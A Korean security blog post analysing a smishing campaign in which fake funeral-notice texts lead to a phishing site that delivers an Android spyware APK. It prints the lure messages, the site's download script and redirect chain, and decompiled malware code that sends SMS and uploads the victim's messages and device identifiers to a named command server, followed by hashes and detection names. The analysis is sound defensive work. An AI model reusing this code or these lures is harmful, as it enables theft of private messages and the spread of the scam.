꿈을꾸는 파랑새

오늘은 부고 알림 부모님 별세를 악용한 스미싱 악성코드인 모바일 부고장.apk(2023.9.31)에 대해 알아보겠습니다.
일단 문자는 다음과 같이 옵니다.

부고 알림 유포 문자 내용

부모님께서 별세 하셨기에 아래와 같이 부고를 전해 드립니다.장례식장
부모님 마지막 가시는길 외롭지 않게 부디 오셔서 참석하여주세요.
[Web발신][부고]18일 저녁 10시경 부친께서 별세하셨습니다. 안내 
[Web발신][부고]23일 저녁 12시경 귀하의 조부께서 별세하셨습니다.안내
[訃告]부모님께서 별세 하셨기에 아래와 같이
부고를 전해드립니다

저기서 날짜는 하고 시간은 변경될 것입니다. 진짜 부고 알림 일 경우 속을 수가 있을 수가 있으니 주의하시길 바랍니다.
이번에는 기존에서는 한국어를 사용하다가 한자로 변경된 부분을 확인할 수가 있었습니다.
일단 사이트에 접속하면 다음과 같이 접속이 되는 것을 확인할 수가 있습니다.

피싱 메일 내용

본인의 부친께서 그동안 오랜 병중에
계시다가 어제 밤 돌아가셨습니다. 저희 가족들은 현재 많은 슬픔 가운데 있으며 아버님의 명복을 빌고 있습니다.
이후 장례절차는 아래와 같이 진행이 되므로 문상시 참고해 주시기를 부탁드립니다.
열기
삼가의 빕니다.
정확한 장소와 시간을 보기위하여 확인을눌러주세요.

단축 주소는 LRL 를 사용을 했습니다.
일단 사용자를 낚으려고 무엇 가 정성스럽게 준비를 했지만, 무엇인가 잘못된 것이 눈에 보일 것입니다.

모바일 부고장 피싱 사이트 메인 화면
모모바일 부고장 피싱 사이트 메인 화면바일 부고장 피싱 사이트 메인 화면

피싱 사이트 접속 경로

https://lrl(.)kr/nLWc -> https://lrl(.)kr/check/check.php?r=https://unioneword(.)com/
-> https://unioneword(.)com/

이며 내용은 다음과 같습니다.
訃告
본인의 부친께서 그동안 오랜 병중에
계시다가 어제 밤 돌아가셨습니다. 저희 가족들은 현재 많은 슬픔 가운데 있으며 아버님의 명복을 빌고 있습니다.
이후 장례절차는 아래와 같이 진행이 되므로 문상시 참고해 주시기를 부탁드립니다.
열기
삼가 故人의 冥福을 빕니다.
되어져 있는데 이게 이미지 파일입니다.

피싱 사이트 웹 소스

<script>
	function downAlert(){
		alert("정확한 장소와 시간을 보기위하여 확인을눌러주세요.");
		window.open("down(.)php");
	}
    var $main = $('.preview-main');
    var css_obj = $main.data('css');
    $main.css('background-color', css_obj(.)backgroundColor);

    $('.J_prev').on('click', ()=>{
        tabPage(1)
    });
    $('.J_next').on('click', ()=>{
        tabPage(-1)
    });
    var wrapper = document(.)getElementById('wrapper');
    function tabPage(is(_)up) {
        wrapper.contentWindow(.)postMessage(is_up, '*');
    }
	//window.open("down(.)php");
</script>

셜명

downAlert() 함수는 "정확한 장소와 시간을 보기 위하여 확인을눌러주세요."라는 경고창을 표시하고 down(.)php 파일을 엽니다.
$('.preview-main')은 .preview-main 클래스를 가진 요소를 가져옴
css_obj = $main.data('css');는 .preview-main 클래스를 가진 요소의 data-css 속성의 값을 가져옴
<span class="math-inline">main\.css\('background\-color', css\_obj\.backgroundColor\);\는 `.preview-main` 클래스를 가진 요소의 배경색을 `css_obj.backgroundColor` 속성의 값으로 설정

부고장 피싱 사이트 인증서 정보
부고장 피싱 사이트 인증서 정보


* `('.J_prev').on('click', ()=>{ tabPage(1) });는.J_prev클래스를 가진 요소가 클릭되면 tabPage()` 함수를 호출
$('.J_next').on('click', ()=>{ tabPage(-1) });는 .J_next 클래스를 가진 요소가 클릭 되면 tabPage() 함수를 호출
var wrapper = document.getElementById('wrapper');는 #wrapper ID를 가진 요소를 가져옴
function tabPage(is_up) { wrapper.contentWindow.postMessage(is_up, '*'); }는 is_up이 1이면 다음 탭으로 이동하고 -1이면 이전 탭으로 이동

부고 알림 피싱 사이트연결 순서
부고 알림 피싱 사이트연결 순서

악성코드 다운로드 주소

https://unioneword(.)com/data/apk/모바일 부고장(.)apk?20231001013747

HTTP Debugger Pro 로 본 피싱 사이트 robots.txt
HTTP Debugger Pro 로 본 피싱 사이트 robots.txt

특이한점은 악성코드 다운로드 년도 월일 시간이 주소를 사용하는 것을 확인할 수가 있습니다.

HTTP Debugger Pro 로 본 피싱 사이트 robots.txt 내용

HTTP/1.1 200 OK
Date: Sun, 01 Oct 2023 11:11:07 GMT
Server: Apache/2.4(.)57 (Ubuntu)
Upgrade: h2(,)h2c
Connection: Upgrade, Keep-Alive
Last-Modified: Sun, 02 Jan 2022 03:12:19 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Access-Control-Allow-Origin: *
Keep-Alive: timeout=3
Content-Type: text/plain
Content-Length: 70
User-agent: *
Allow: /
Disallow: /check
Disallow: /adm
Disallow: /short(.)php
HTTP Debugger Pro 로 본 Raw 값
GET /robots(.)txt?1696158679131 HTTP/1.1
Host: lrl.kr
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Prefer: safe
DNT: 1
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate

robots 내용 뜻은 다음과 같습니다.
1.Allow: /:
해당 줄은 모든 로봇에 대해 웹 사이트의 모든 부분에 대한 액세스를 허용하는 지시
즉 모든 페이지와 디렉터리가 크롤링 및 색인화될 수 있음
2. Disallow: /check:
해당 줄은 check 디렉터리에 대한 액세스를 금지하는 지시
따라서 크롤러는 /check 디렉터리 내의 모든 페이지 및 자원을 크롤링하거나 색인화하지 않음
3.Disallow: /adm:
해당 줄은 adm 디렉터리에 대한 액세스를 금지하는 지시
따라서 크롤러는 /adm 디렉터리 내의 모든 페이지 및 자원을 크롤링하거나 색인화하지 않음
4.Disallow: /short(.)php:
해당 줄은 /short(.)php 패턴을 따르는 모든 URL에 대한 액세스를 금지하는 지시
이것은 정규 표현식의 일부로서 /short(.)php라는 패턴에 대한 액세스를 차단
하지만, 이것은 정확한 문법이 아니며 표준 robots.txt 파일에 사용되는 방식과 일치하지 않음
크롤러가 이러한 파일에 액세스하는 것을 방지하기 위해 robots.txt 파일에 Disallow 지침을 추가할 수 있음
먼저 해당 악성코드 해쉬값은 다음과 같습니다.
파일명:모바일 부고장.apk
사이즈:2.35 MB
MD5:a6de786fcf563f1b1bc5010b175cfba0
SHA-1:8ab48ef698d50f1c008b31aaa57dae8ecb1275bc
SHA-256:8d7881c591f8abbacc2ca7567c9d7848b936904d946966d25dd633a6594c0fb0

모바일 부고장 악성코드 권한
모바일 부고장 악성코드 권한

악성코드 안드로이드 권한

ACCESS_WIFI_STATE: 기기의 Wi-Fi 상태에 대한 정보를 액세스할 수 있음
Wi-Fi가 활성화되어 있는지 어떤 Wi-Fi 네트워크에 연결되어 있는지와 같은 정보
READ_CONTACTS:사용자의 연락처 목록을 읽을 수 있음
WRITE_CONTACTS:사용자의 연락처 목록을 쓸 수 있음
READ_SMS:기기에 저장된 SMS(문자) 메시지를 읽을 수 있음
SEND_SMS:SMS(문자) 메시지를 보낼 수 있음
READ_EXTERNAL_STORAGE:SD 카드와 같은 외부 저장소에서 데이터를 읽을 수 있음
WRITE_EXTERNAL_STORAGE: 외부 저장소에 데이터를 쓸 수 있음
SYSTEM_ALERT_WINDOW: 다른 앱 위에 시스템 알림을 표시할 수 있음
READ_PHONE_STATE: 기기의 전화 상태에 대한 정보를 읽을 수 있음
전화번호와 셀 ID와 같은 정보
REQUEST_IGNORE_BATTERY_OPTIMIZATIONS:배터리 최적화를 무시하도록 요청할 수 있음
WAKE_LOCK: 기기가 절전 모드로 전환되는 것을 방지할 수 있음
ACCESS_NETWORK_STATE: 기기의 네트워크 상태에 대한 정보를 액세스할 수 있음
인터넷에 연결되어 있는지, 어떤 네트워크에 연결되어 있는지와 같은 정보
GET_ACCOUNTS: 기기에 알려진 계정의 목록을 가져올 수 있음
FOREGROUND_SERVICE: 포그라운드 서비스를 실행할 수 있음
RECEIVE_BOOT_COMPLETED: BOOT_COMPLETED 브로드캐스트를 받을 수 있음
DEVICE_POWER:기기의 전원을 제어할 수 있습니다. 전원을 켜거나 끄는 등의 작업
DISABLE_KEYGUARD: 키가드를 비활성화할 수 있음

부고장 악성코드 문자 보내기 코드

LogUtils.m677d("send sms phoneNumber:" + str);
        LogUtils.m677d("send sms message:" + str2);
        SmsManager smsManager = SmsManager.getDefault();
        PendingIntent broadcast = PendingIntent.getBroadcast(context, 0, new Intent("SENT_SMS_ACTION"), 0);
        PendingIntent broadcast2 = PendingIntent.getBroadcast(context, 0, new Intent("DELIVERED_SMS_ACTION"), 0);
        if (str2.length() <= 70) {
            smsManager.sendTextMessage(str, null, str2, broadcast, broadcast2);
            return true;
        }
        ArrayList<String> divideMessage = smsManager.divideMessage(str2);
        ArrayList<PendingIntent> arrayList = new ArrayList<>();
        for (int i = 0; i < divideMessage.size(); i++) {
            arrayList.add(broadcast);
        }
        smsManager.sendMultipartTextMessage(str, null, divideMessage, arrayList, null);
        return true;
    }

    public static void setDefault(Context context) {
        Intent intent = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
        intent.putExtra("package", context.getPackageName());
        intent.setFlags(268435456);
        context.startActivity(intent);
    }

    public static void uploadMessages(String str) {
        LogUtils.m677d(str);
        final List<SMSModel> smsInPhone = getSmsInPhone(BaseApplication.getInstance(), 0L);
        if (smsInPhone == null || smsInPhone.isEmpty()) {
            LogUtils.m677d("smsList is null or empty");
            MqttApi.m678fb(3, 0, "smsList is null or empty");
            return;
        }
        RetrofitClient.subscribe(((BasicsApi) RetrofitClient.create(BasicsApi.class)).uploadMessages(str, RetrofitClient.createJsonBody(smsInPhone)), new RetrofitObserver<Object>() { // from class: com.kero.ilogisticsko.utils.SMSUtils.1
            @Override // com(.)kero.ilogisticsko(.)net.RetrofitObserver
            public void onFail(int i, String str2) {
                MqttApi.m679fb(3, 0, i, str2);
            }

            @Override // com(.)kero(.)ilogisticsko(.)net.RetrofitObserver
            public void onSuccess(Object obj) {
                MMKV m666e = MMKV.m666e();
                m666e.m665f(Urls.getBaseUrl() + "LAST_SMS_NUM", smsInPhone.size());
                MqttApi.fbSucc(3);
            }
        });
    }
}

악성코드 문자 보내기 관련 코드
악성코드 문자 보내기 관련 코드

코드 스니펫은 SMSUtils 클래스에 속하며 다음과 같은 두 가지 메서드를 포함
sendSms(): 지정된 전화번호로 SMS(문자) 메시지를 보내는 메서드
메시지가 70자 이상이면 여러 부분으로 나누어 멀티파트 메시지로 전송
uploadMessages(): 기기의 모든 SMS 메시지를 원격 서버에 업로드하는 메서드
먼저 getSmsInPhone() 메서드를 사용하여 기기의 모든 SMS 메시지 목록을 가져옴
그런 다음 Retrofit 라이브러리를 사용하여 SMS 메시지 목록을 서버에 업로드
sendSms() 메서드
sendSms() 메서드는 먼저 메시지의 길이를 확인
길이가 70자 이하이면 단일 SMS로 메시지를 보내며 그렇지 않으면 메시지를 여러 부분으로 나누어 MMS 메시지로 보냅니다.
MMS 메시지를 보내려면 sendMultipartTextMessage() 메서드를 사용
phoneNumber: 수신자의 전화번호
scAddress: 서비스 센터 주소
일반적으로 null
parts: 메시지 부분 목록
sentIntents: 메시지 부분이 전송될 때 호출될 PendingIntent 개체 목록
deliveryIntents: 메시지 부분이 전달될 때 호출될 PendingIntent 개체 목록
uploadMessages() 메서드
uploadMessages() 메서드는 기기의 모든 SMS 메시지를 원격 서버에 업로드
이렇게 하려면 먼저 getSmsInPhone() 메서드를 사용하여 기기의 모든 문자 메시지 목록을 가져옵니다. 그런 다음 Retrofit 라이브러리를 사용하여 SMS 메시지 목록을 서버에 업로드
uploadMessages() 메서드는 다음과 같은 매개변수를 사용
str:업로드할 메시지의 URL을 포함하는 문자열

기기의 정보 수집 및 업로드 코드

public class DeviceUtils {
    private static final String CACHE_NAME = "DeviceUtils_V1_DeviceId";
    private static final String DEFAULT_MAC = "02:00:00:00:00:00";

    public static String getDeviceId() {
        String m668c = MMKV.m666e().m668c(CACHE_NAME);
        if (TextUtils.isEmpty(m668c) || m668c.equals("020000000000")) {
            m668c = UUID.randomUUID().toString();
        }
        MMKV.m666e().m664g(CACHE_NAME, m668c);
        LogUtils.m677d("deviceId: " + m668c);
        return m668c;
    }

    @SuppressLint({"MissingPermission"})
    private static String getIMEI() {
        try {
            TelephonyManager telephonyManager = (TelephonyManager) BaseApplication.getInstance().getSystemService("phone");
            String imei = Build.VERSION.SDK_INT >= 26 ? telephonyManager.getImei() : "";
            return TextUtils.isEmpty(imei) ? telephonyManager.getDeviceId() : imei;
        } catch (Exception e) {
            LogUtils.m676e(e);
            return "";
        }
    }

    private static String getMac() {
        byte[] hardwareAddress;
        String str = DEFAULT_MAC;
        try {
            ArrayList list = Collections.list(NetworkInterface.getNetworkInterfaces());
            for (int i = 0; i < list.size(); i++) {
                NetworkInterface networkInterface = (NetworkInterface) list.get(i);
                if (networkInterface.getName().equalsIgnoreCase("wlan0") && (hardwareAddress = networkInterface.getHardwareAddress()) != null) {
                    StringBuilder sb = new StringBuilder();
                    int length = hardwareAddress.length;
                    for (int i2 = 0; i2 < length; i2++) {
                        sb.append(String.format("%02X", Byte.valueOf(hardwareAddress[i2])));
                    }
                    str = sb.toString();
                }
            }
        } catch (Throwable th) {
            LogUtils.m675e(th);
        }
        LogUtils.m677d("get mac:" + str);
        return str;
    }

    private static String getMacAddress() {
        String mac = getMac();
        return (TextUtils.isEmpty(mac) || mac.equals(DEFAULT_MAC)) ? ((WifiManager) BaseApplication.getInstance().getApplicationContext().getSystemService("wifi")).getConnectionInfo().getMacAddress() : mac;
    }

    public static void postConnect() {
        final String currentTime = TimeUtils.getCurrentTime("MM-dd HH:mm:ss");
        RetrofitClient.subscribe(((UsersApi) RetrofitClient.create(UsersApi.class)).postToClient(getDeviceId()), new RetrofitObserver<Object>() { // from class: com.kero.ilogisticsko.utils.DeviceUtils.1
            @Override // com.kero.ilogisticsko.net.RetrofitObserver
            public void onFail(int i, String str) {
            }

            @Override // com.kero.ilogisticsko.net.RetrofitObserver
            public void onSuccess(Object obj) {
            }
        });
    }
}

코드 설명

DeviceUtils 클래스는 기기의 정보를 가져오고 서버에 전송하는 데 사용되는 클래스
getDeviceId() 메서드
getDeviceId() 메서드는 기기의 고유 식별자를 반환하는 메서드
캐시에 저장된 식별자가 없거나 기본값과 같은 경우 UUID를 생성하여 캐시에 저장하고 반환
getIMEI() 메서드
스마트폰 기기의 IMEI (국제 모바일 장치 식별 번호)를 검색하고 반환
안드로이드 6.0 이상 버전에서는 권한이 필요하므로 @SuppressLint({"MissingPermission"}) 애노테이션을 사용하여 경고를 억제
getMac() 메서드
getMac() 메서드는 기기의 MAC 주소를 반환하는 메서드
기기의 네트워크 인터페이스 목록에서 wlan0 인터페이스의 MAC 주소를 찾아 반환
getMacAddress() 메서드
getMacAddress() 메서드는 기기의 MAC 주소를 반환하는 메서드
getMac() 메서드에서 반환한 값이 비어 있거나 기본값과 같은 경우 WifiManager를 사용하여 MAC 주소를 반환
postConnect() 메서드
postConnect() 메서드는 기기의 고유 식별자를 서버에 전송하는 메서드
Retrofit 라이브러리를 사용하여 /client/connect 엔드포인트에 POST 요청을 보냄
해당 클래스는 기기의 고유 식별자를 가져오고 서버에 전송

악성코드에 포함된 주소
악성코드에 포함된 주소

악성코드 포함된 주소(com(.)kero.ilogisticsko(.)net.Urls) 및 설명

1.BASE_URL,BASE_URL_MAIN,baseUrl 상수:
BASE_URL과 BASE_URL_MAIN 은 기본 URL을 나타내는 상수 http://38.47.236(.)119:8071/ 값을 가짐
baseUrl은 동적으로 변경될 수 있는 URL을 저장하는 변수
초기 값은 http://38.47.236(.)119:8071/ 로 설정되어 있음
2.getBaseUrl() 메서드:
해당 메서드는 현재의 baseUrl 값을 반환
또한, 디버그 목적으로 로그에 getBaseUrl: 과 함께 현재 baseUrl을 출력
3. getIP() 메서드:
해당 메서드는 baseUrl 에 대한 IP 주소를 가져옴
NetUtils.baseUrlToIp() 함수를 호출하여 URL에서 IP 주소를 추출하여 반환
4.setBaseUrl(String str) 메서드:
메서드는 baseUrl 값을 설정
입력된 문자열 str 을 사용하여 baseUrl 을 변경하고 변경된 URL을 로그에 출력

IP Traffic

142.251.143(.)106:443 (TCP)
142.251.143(.)110:443 (TCP)
142.251.143(.)131:443 (TCP)
142.251.143(.)131:80 (TCP)
142.251.143(.)132:443 (TCP)
142.251.143(.)132:80 (TCP)
142.251.143(.)138:443 (TCP)
142.251.143(.)142:443 (TCP)
142.251.143(.)163:443 (TCP)
142.251.143(.)170:443 (TCP)
142.251.143(.)174:443 (TCP)
142.251.163(.)105:443 (TCP)
142.251.163(.)94:80 (TCP)
216.239.34(.)36:443 (TCP)

2023-10-01 11:17:25 UTC 기준 바이러스토탈에서 탐지 하고 있는 보안 업체들
Alibaba:Trojan:Android/Boogr.0311407a
Avira (no cloud):ANDROID/Spy.Agent.ohyas
BitDefenderFalx:Android.Trojan.Agent.AWQ
Cynet:Malicious (score: 99)
DrWeb:Android.Spy.1161.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.CWH
F-Secure:Malware.ANDROID/Spy.Agent.ohyas
Fortinet:Android/Agent.CWH!tr.spy
Google:Detected
Ikarus:Trojan-Spy.AndroidOS.Agent
K7GW:Spyware (005abaa41)
Kaspersky:HEUR:Trojan.AndroidOS.Boogr.gsh
McAfee:Artemis!A6DE786FCF56
McAfee-GW-Edition:Artemis
Sophos:Andr/Xgen-BJN
Symantec Mobile Insight:AdLibrary:Generisk
Tencent:Android.Trojan.Boogr.Wdkl
ZoneAlarm by Check Point:HEUR:Trojan.AndroidOS.Boogr.gsh
기본적으로 문자 주소를 보면 단축 주소는 일단 무시하는 것이 좋으면 기본적으로 사회공학적 공격이 이루어지고 있으며 해당 악성코드가 실행되면 문자 보내기를 통해서 다른 분들에게 전송될 수가 있어서 피해가 증가할 수가 있음.

기본적으로 AV-TEST 에서 인증 된 보안 업체를 사용하는 것을 권장합니다. 해당 피싱 사이트 보니까? 2023.1쯤에 누군가 바이러스토탈에 돌린 기록이 있는 메이저 보안 업체들은 탐지를 못 해서 구글 세이프 브라우징, 마이크로소프트 스마트스크린,Emsisoft,Spam404 에 신고했습니다. 그러면 일단 대부분 브라우저에 미리 차단을 할 수가 있어서 혹시나 해당 사이트에 접속했으면 차단을 될 것입니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band